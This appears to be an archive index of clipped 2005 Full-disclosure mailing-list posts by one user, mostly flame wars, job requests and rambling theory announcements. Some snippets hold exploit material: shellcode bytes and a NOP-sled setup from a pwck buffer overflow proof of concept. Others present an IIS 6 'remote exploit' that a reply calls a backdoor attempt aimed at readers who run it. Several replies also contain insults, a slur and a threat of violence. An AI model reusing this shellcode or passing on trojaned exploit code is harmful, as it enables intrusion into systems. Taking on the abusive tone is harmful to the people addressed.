Re: [Full-disclosure] Looking for a job in OrangeCounty California, honestly

2005-12-11 Thread Day Jay
hived!! SO people can see how immature I am and laugh. Just call me patch adams and those who love me, call me captain jack arrrh!! BTW The Lion the witch and the wardrobe is the best movie since the matrix! d. --- InfoSecBOFH <[EMAIL PROTECTED]> wrote: > On 12/7/05, Day Jay <[EMAIL PROTE

Re: [Full-disclosure] Looking for a job in OrangeCounty California, honestly

2005-12-07 Thread Day Jay
de of people sometimes. This doesnt mean that I wouldnt seek them out at Defcon and beat them down-physically. d. --- InfoSecBOFH <[EMAIL PROTECTED]> wrote: > Now now Jason just because you got screwed by a > company that sells > registry hacks and offers no real value doesn'

[Full-disclosure] Looking for a job in OrangeCounty California, honestly

2005-12-07 Thread Day Jay
Being unemployed is a lot harder than I thought. I have too much time on my hands and that coupled with misc. side jobs, I really would like to find someone to work for that needs some helop. I'm looking to hopefully work on site and not remotely unless sometimes needed and hopefully have some sort

[Full-disclosure] Hack the planet, Phrack, PHC, Projekt Mayhem, NWO and Greek Squads Alike....

2005-11-28 Thread Day Jay
Here ye Here ye, Someone hire me, I'm bored and like one enter key could take the whole net down. 26, I could really use a job-some corporate sponsership to help consult/develop Etc. Nothing wrong with keeping the internet for the people by the people. Hey, whoever has to do it has to do it and i

[Full-disclosure] WORD DOCUMENT OF AI/LIFE CREATION THEORY(EASIER TO UNDERSTANDIN THIS FORMAT)

2005-11-28 Thread Day Jay
Dear All, (First I am looking for a job in OC right now so if you are looking for someone with knowledge like me, send me an email. Eating is nice and I am poor currently) I highlighted an added sections as well as italicied and underlined things to make it easier to absorb and learn without havi

[Full-disclosure] Chung'S Donut Shopt Release!!! - Spirit "Dorian's Theory On Life-Real AI-Human Emotion"

2005-11-28 Thread Day Jay
Stop the PRESS GROUNDBREAKING d4yj4y and Dorian have released a scientific ingenious miracle or informational GOLD/Spirit to HELP THE HUMAN RACE ANti-Pscyh-Ops Etc. and PRO Will and Life!! ==CHUNG'S DONUT SHOP RELEASE= The "Dorian Worm Theory: Future brightness" refs: AI, ga

[Full-disclosure] Chung'S Donut Shopt Release!!! - Spirit "Dorian's Theory On Life-Real AI-Human Emotion"

2005-11-28 Thread Day Jay
Stop the PRESS GROUNDBREAKING d4yj4y and Dorian have released a scientific ingenious miracle or informational GOLD/Spirit to HELP THE HUMAN RACE ANti-Pscyh-Ops Etc. and PRO Will and Life!! ==CHUNG'S DONUT SHOP RELEASE= The "Dorian Worm Theory: Future brightness" refs: AI, ga

Re: [Full-disclosure] PWCK Overflow POC Code Redhat/Suse older versions or something (maybe later too)

2005-05-10 Thread Day Jay
I'm sorry for being such a bastard. After looking more into this guy's site, it looks pretty sweet. d. --- Day Jay <[EMAIL PROTECTED]> wrote: > Jesus H. Christ! > > I never "claimed" to be a master at c coding or > being > the greatest like this guy di

Re: [Full-disclosure] PWCK Overflow POC Code Redhat/Suse older versions or something (maybe later too)

2005-05-09 Thread Day Jay
No, it's hilarious! --- Micheal Espinola Jr <[EMAIL PROTECTED]> wrote: > Is it just me, or is it hilarious that this > "discussion" is generating > sponsored links in Gmail for "World of Warcraft" ? > ___ > Full-Disclosure - We believe in it. > Charter:

Re: [Full-disclosure] PWCK Overflow POC Code Redhat/Suse older versions or something (maybe later too)

2005-05-09 Thread Day Jay
AIL PROTECTED]> wrote: > i think him using the name "d4yj4y" on his code says > enough about his > status > > On May 9, 2005, at 8:46 AM, Steve Friedl wrote: > > > On Mon, May 09, 2005 at 08:38:10AM -0700, Day Jay > wrote: > >> I stole it, but it work

Re: [Full-disclosure] PWCK Overflow POC Code Redhat/Suse older versions or something (maybe later too)

2005-05-09 Thread Day Jay
moderator, close this topic since all responses to it have been off topic and displaying pure wannabes angry at their own ability to find bugs or produce something useful to the security community. --- [EMAIL PROTECTED] wrote: > On Mon, 09 May 2005 11:59:16 PDT, Day Jay said: > > It wa

Re: [Full-disclosure] PWCK Overflow POC Code Redhat/Suse older versions or something (maybe later too)

2005-05-09 Thread Day Jay
e porn now. --- [EMAIL PROTECTED] wrote: > On Mon, 09 May 2005 11:22:46 PDT, Day Jay said: > > I never "claimed" to be a master at c coding or > being > > the greatest like this guy did and he *still* > > hardcoded his shit and he's probably still mad. > > No

Re: [Full-disclosure] PWCK Overflow POC Code Redhat/Suse older versions or something (maybe later too)

2005-05-09 Thread Day Jay
ble to apply black arts and instead clasp their theories and what ifs still never knowing what it was like to hack" --- [EMAIL PROTECTED] wrote: > On Mon, 09 May 2005 10:09:59 PDT, Day Jay said: > > We all saw how short the code was I had for that > pwck > > buffer overflow

Re: [Full-disclosure] PWCK Overflow POC Code Redhat/Suse older versions or something (maybe later too)

2005-05-09 Thread Day Jay
give you. Let's keep the ass-kissing to a min. pls kthxbye --- [EMAIL PROTECTED] wrote: > Day jay, you may find it fun to criticize those > recognized by Microsoft, but let me remind you that > Steve has done more to help computer security then > you will ever dream of accomp

Re: [Full-disclosure] PWCK Overflow POC Code Redhat/Suse older versions or something (maybe later too)

2005-05-09 Thread Day Jay
* where # is a NOP instruction, and "X" is the exploit code. There * must be a terminating NUL byte so the environment processor does * the right thing also. */ memset(egg, NOP, egglen); memcpy(egg, "EGG=", 4); // put our egg

Re: [Full-disclosure] PWCK Overflow POC Code Redhat/Suse older versions or something (maybe later too)

2005-05-09 Thread Day Jay
ECTED]> wrote: > On Fri, May 06, 2005 at 06:03:26PM -0700, Day Jay > wrote: > > //(PWCK is NOT SETUID) This isn't fake > > //code I promise (it may be borrowed) ;) d4yj4y > > It may or may not be fake, but you are an > *astonishingly* lame C programmer

Re: [Full-disclosure] PWCK Overflow POC Code Redhat/Suse older versions or something (maybe later too)

2005-05-09 Thread Day Jay
Please teach me to be like you, I'm striving to be as good as you Steve. You obviously are my master. I bow to you. Please teach me! Your code is sooo l33t! --- Steve Friedl <[EMAIL PROTECTED]> wrote: > On Mon, May 09, 2005 at 08:38:10AM -0700, Day Jay > wrote: > > I

Re: [Full-disclosure] PWCK Overflow POC Code Redhat/Suse older versions or something (maybe later too)

2005-05-09 Thread Day Jay
I stole it, but it works, and that's all that matters dickwad. --- Steve Friedl <[EMAIL PROTECTED]> wrote: > On Fri, May 06, 2005 at 06:03:26PM -0700, Day Jay > wrote: > > //(PWCK is NOT SETUID) This isn't fake > > //code I promise (it may be borrowed) ;) d4yj

[Full-disclosure] PWCK Overflow POC Code Redhat/Suse older versions or something (maybe later too)

2005-05-06 Thread Day Jay
snip //Chung's Donut Shop release !! //Redhat/Suse PWCK Buffer overflow POC Code //(PWCK is NOT SETUID) This isn't fake //code I promise (it may be borrowed) ;) d4yj4y #include char shellcode[] = "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0" "\x88\x43\x07\x89\x5b\x08\x

Re: [Full-disclosure] KSpynix ::: the Unix version of KSpyware? (Proof Of Concept)

2005-05-06 Thread Day Jay
That's gotta be the most half assed piece of code offered as something for spyware I've ever seen! All of the directories are like hardcoded and statically linked! that is no where near any spyware sophistication I have seen in windows spyware programs. d --- khaalel <[EMAIL PROTECTED]> wrote: > S

Re: [Full-disclosure] telco service?

2005-05-05 Thread Day Jay
please send me the LERG :) thanx --- vulcanius <[EMAIL PROTECTED]> wrote: > Heh. I don't think it's off topic at all, after all > were just > disclosing information. > > KF, your absolutely right. The lack of regulation > and the lack of > attention people give to it is atrocious. You would > thi

Re: [Full-disclosure] Buffer Overflow in BitKeeper

2005-05-04 Thread Day Jay
Don't quit your day job --- Enune <[EMAIL PROTECTED]> wrote: > G'day again all, > > Just thought I'd throw in a morning laugh.. Enjoy :) > > > Advisory Name: Buffer overflow in BitKeeper > screenshot may lead to bad PR > Date: 04/05/2005 > Severity: Rabbit. > > Description: > There is a buffer

Re: [Full-disclosure] (no subject)

2005-04-27 Thread Day Jay
Man, ppl are such crybabies! --- Paul Schmehl <[EMAIL PROTECTED]> wrote: > --On Tuesday, April 26, 2005 03:05:29 PM -0400 Stan > Bubrouski > <[EMAIL PROTECTED]> wrote: > > > Could we can the nazi rhetoric in messages on this > list? Or can we just > > complain until the list > > loses its hosti

Re: [Full-disclosure] FIXED CODE - IIS 6 Remote Buffer OverflowExploit(was broken)

2005-04-21 Thread Day Jay
I think it's a whole lot of trouble to the newbie beginners who probably ran it the first time. Lamers. Heh. --- bkfsec <[EMAIL PROTECTED]> wrote: > Steve Friedl wrote: > > >On Wed, Apr 20, 2005 at 05:35:56PM -0700, Day Jay > wrote: > > > > > >&g

Re: [Full-disclosure] FIXED CODE - IIS 6 Remote Buffer Overflow Exploit(was broken)

2005-04-21 Thread Day Jay
Kind of like your attempt to be American :) --- Javi Polo <[EMAIL PROTECTED]> wrote: > On Apr/20/2005, Day Jay wrote: > > > You are wrong again, it's "Smashing the Stick" you > > moron. Not smashing the stack. Ask anyone here! > > Man, you are such

Re: [Full-disclosure] FIXED CODE - IIS 6 Remote Buffer Overflow Exploit(was broken)

2005-04-21 Thread Day Jay
not as lame as you are! Take your ham and shove it! What a faggit. --- Ed Carp <[EMAIL PROTECTED]> wrote: > Javi Polo wrote: > > > On Apr/20/2005, Day Jay wrote: > > > >>You are wrong again, it's "Smashing the Stick" you > >>moron. Not s

RE: [Full-disclosure] FIXED CODE - IIS 6 Remote Buffer OverflowExploit(was broken)

2005-04-20 Thread Day Jay
n McGuire > > > -Original Message- > From: [EMAIL PROTECTED] > [mailto:[EMAIL PROTECTED] > On Behalf Of Day Jay > Sent: Wednesday, April 20, 2005 5:09 PM > To: vulcanius > Cc: full-disclosure@lists.grok.org.uk > Subject: Re: [Full-disclosure] FIXED CODE - IIS

Re: [Full-disclosure] FIXED CODE - IIS 6 Remote Buffer Overflow Exploit(was broken)

2005-04-20 Thread Day Jay
e when everyone > already knows it's a lame backdoor attempt? > > On 4/20/05, Day Jay <[EMAIL PROTECTED]> wrote: > > Yes it is you hat squad lammer newbie. Now get it > to > > work!! You fucking newbie. > > > > You're so lame and so is your file

Re: [Full-disclosure] FIXED CODE - IIS 6 Remote Buffer Overflow Exploit(was broken)

2005-04-20 Thread Day Jay
; class101 > Jr. Researcher > Hat-Squad.com > - > - Original Message - > From: "Day Jay" <[EMAIL PROTECTED]> > To: > Sent: Wednesday, April 20, 2005 8:15 PM > Subject: [Full-disclosure] FIXED CO

[Full-disclosure] FIXED CODE - IIS 6 Remote Buffer Overflow Exploit (was broken)

2005-04-20 Thread Day Jay
e are you? --- dk <[EMAIL PROTECTED]> wrote: > Day Jay wrote: > > Sorry, the previous code was broken. > > Definitely `borken'... I didn't even see one > /etc/passwd file in here! > Less obvious calls may catch more habitual FD code > runners next time

[Full-disclosure] FIXED CODE - IIS 6 Remote Buffer Overflow Exploit (was broken)

2005-04-20 Thread Day Jay
Sorry, the previous code was broken. This code should work... Happy Owning!! :) =SNIP /* Proof of concept code Please don't send us e-mails asking us "how to hack" because we will be forced to skullfsck you. DISCLAIMER: !!NOT RESPONSIBLE WITH YOUR USE OF THIS

[Full-disclosure] IIS 6 Remote Buffer Overflow Exploit

2005-04-18 Thread Day Jay
/* Proof of concept code Please don't send us e-mails asking us "how to hack" because we will be forced to skullfsck you. DISCLAIMER: !!NOT RESPONSIBLE WITH YOUR USE OF THIS CODE!! IIS 6 Buffer Overflow Exploit BUG: inetinfo.exe improperly bound checks http requests sent longer

Re: [Full-disclosure] [hr0n073rr0r15m - 7h3 J4ck50ff 7r14l.

2005-04-01 Thread Day Jay
d34r c0rr41 r33f, 1 r3411y 4m 50 4nn0y3d 70 7h3 3x7r3m3. 1 r3411y 4m 50 4nn0y3d 7h47 N7P w0u1d 74k3 7h3 71m3 70 wr173 4 14m3 3m411 70 3v3ry0n3 11k3 7h47 b3c4u53 1337 5p34k 5h0u1d 0n1y b3 r34d b13 7h4 31337 0n1y 0n 53cr37 b4kch4nn315 U c0ck5uck3r. 1n 411 f41rn355 7h0u64, 1 d0 h4v3 70 54y 7h47 1 4m

Re: [Full-disclosure] [hr0n073rr0r15m - 7h3 J4ck50ff 7r14l.

2005-04-01 Thread Day Jay
d34r c0rr41 r33f, 1 r3411y 4m 50 4nn0y3d 70 7h3 3x7r3m3. 1 r3411y 4m 50 4nn0y3d 7h47 N7P w0u1d 74k3 7h3 71m3 70 wr173 4 14m3 3m411 70 3v3ry0n3 11k3 7h47 b3c4u53 1337 5p34k 5h0u1d 0n1y b3 r34d b13 7h4 31337 0n1y 0n 53cr37 b4kch4nn315 U c0ck5uck3r. 1n 411 f41rn355 7h0u64, 1 d0 h4v3 70 54y 7h47 1 4m

Re: [Full-disclosure] [hr0n073rr0r15m - 7h3 J4ck50ff 7r14l.

2005-04-01 Thread Day Jay
d34r c0rr41 r33f, 1 r3411y 4m 50 4nn0y3d 70 7h3 3x7r3m3. 1 r3411y 4m 50 4nn0y3d 7h47 N7P w0u1d 74k3 7h3 71m3 70 wr173 4 14m3 3m411 70 3v3ry0n3 11k3 7h47 b3c4u53 1337 5p34k 5h0u1d 0n1y b3 r34d b13 7h4 31337 0n1y 0n 53cr37 b4kch4nn315 U c0ck5uck3r. 1n 411 f41rn355 7h0u64, 1 d0 h4v3 70 54y 7h47 1 4m

[Full-disclosure] Metaphoric Linguistical Communication Protocol - Chung's Donut Shop Release

2005-03-31 Thread Day Jay
Chung's Donut Shop Release! = Metaphoric Linguistical Communication Protocol By d4yj4y In today's society communication is critical and what might be considered private or personal communication seems crippled by the fear of eavesdroppers so I thought I would release a

[Full-disclosure] Metaphoric Linguistical Communication Protocol - Chung's Donut Shop Release

2005-03-31 Thread Day Jay
Chung's Donut Shop Release! = Metaphoric Linguistical Communication Protocol By d4yj4y In today's society communication is critical and what might be considered private or personal communication seems crippled by the fear of eavesdroppers so I thought I would release a